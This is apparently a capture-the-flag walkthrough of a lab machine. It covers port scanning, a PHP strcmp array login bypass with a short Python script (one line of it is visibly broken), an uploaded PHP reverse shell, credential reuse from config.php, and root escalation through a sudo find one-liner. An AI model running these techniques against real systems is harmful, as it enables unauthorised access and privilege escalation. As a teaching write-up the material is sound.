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Nmap scan

Let's start with a classic nmap scan:

└─$ sudo nmap -p- -v --min-rate 1000 <MACHINE_IP>
Starting Nmap 7.91 ( ) at 2021-09-21 19:21 EDT
Initiating Ping Scan at 19:21
Scanning <MACHINE_IP> [4 ports]
Completed Ping Scan at 19:21, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:21
Completed Parallel DNS resolution of 1 host. at 19:21, 0.00s elapsed
Initiating SYN Stealth Scan at 19:21
Scanning <MACHINE_IP> [65535 ports]
Discovered open port 22/tcp on <MACHINE_IP>
Discovered open port 80/tcp on <MACHINE_IP>
Completed SYN Stealth Scan at 19:21, 16.52s elapsed (65535 total ports)
Nmap scan report for <MACHINE_IP>
Host is up (0.051s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.70 seconds
           Raw packets sent: 65539 (2.884MB) | Rcvd: 65536 (2.621MB)
└─$ sudo nmap -p22,80 -sC -sV <MACHINE_IP>
Starting Nmap 7.91 ( ) at 2021-09-21 19:23 EDT
Nmap scan report for <MACHINE_IP>
Host is up (0.048s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f6:5c:9b:38:ec:a7:5c:79:1c:1f:18:1c:52:46:f7:0b (RSA)
|   256 65:0c:f7:db:42:03:46:07:f2:12:89:fe:11:20:2c:53 (ECDSA)
|_  256 b8:65:cd:3f:34:d8:02:6a:e3:18:23:3e:77:dd:87:40 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds

A web server and SSH open. I think we can take a look to the website first.

Port 80

The page contains a home page and a login page in http://<MACHINE_IP>/login/login.php. I decided to use gobuster and looks like directory listing is enabled and we can just check the files under http://<MACHINE_IP>/login/. Also gobuster reported http://<MACHINE_IP>/_uploaded and an upload page at http://<MACHINE_IP>/upload.php but to access it we need to login first.

The interesting file in http://<MACHINE_IP>/login/ is login.php.swp. This kind of file is used to avoid losing data while editing a document if for some reason the editor crash or whatever. Using strings we can get the code that performs the login process in the login.php file (More or less, I had to fix it a bit):

if (!empty($_POST['username']) && !empty($_POST['password'])) {
    if (strcmp($username , $_POST['username']) == 0) {
        if (strcmp($password, $_POST['password']) == 0) {
            $_SESSION['user_id'] = 1;
            header("Location: upload.php");
        } else {
            print("<script>alert('Wrong Username or Password')</script>");
    } else {
        print("<script>alert('Wrong Username or Password')</script>");

Looking a bit how this works, looks like it is using strcmp. If we pass an array as argument instead of a string the strcmp function will just return 0, I wrote a little Python script to perform the login bypass and print the session cookie we can use to open the page in the browser:

#! /usr/bin/env python3

import requests

url = 'http://<MACHINE_IP>/login/login.php'
data = {'username[]': ('user'), 'password[]': ('pass')}

session = requests.Session(), data=data)

Using the cookie the script prints, we can access the upload functionality of the page.


We can just upload a PHP reverse shell and access it in the /_uploaded/ directory. Now we are in the box!

In the box as www-data

Well the first thing I wanted to check was the config.php file of the web server:

www-data@base:/var/www/html/login$ cat config.php 
$username = "admin";
$password = "thisisagoodpassword";
After all, a brute force attack could have worked... anyway, looks like there is an user called john in the box, using the password we just found we can login as him.

From john to root

I decided to drop the reverse shell and use a regular SSH session for stability reasons. First of all, the user flag is under /home/john/user.txt.

The user is not in the sudo group but check this:

john@base:~$ sudo -l
[sudo] password for john: 
Matching Defaults entries for john on base:
    env_reset, mail_badpass,

User john may run the following commands on base:
    (root : root) /usr/bin/find

He can execute the command find with sudo. We can abuse this with:

john@base:~$ sudo find . -exec /bin/bash \; -quit

And we are root! The flag is as usual under /root/root.txt.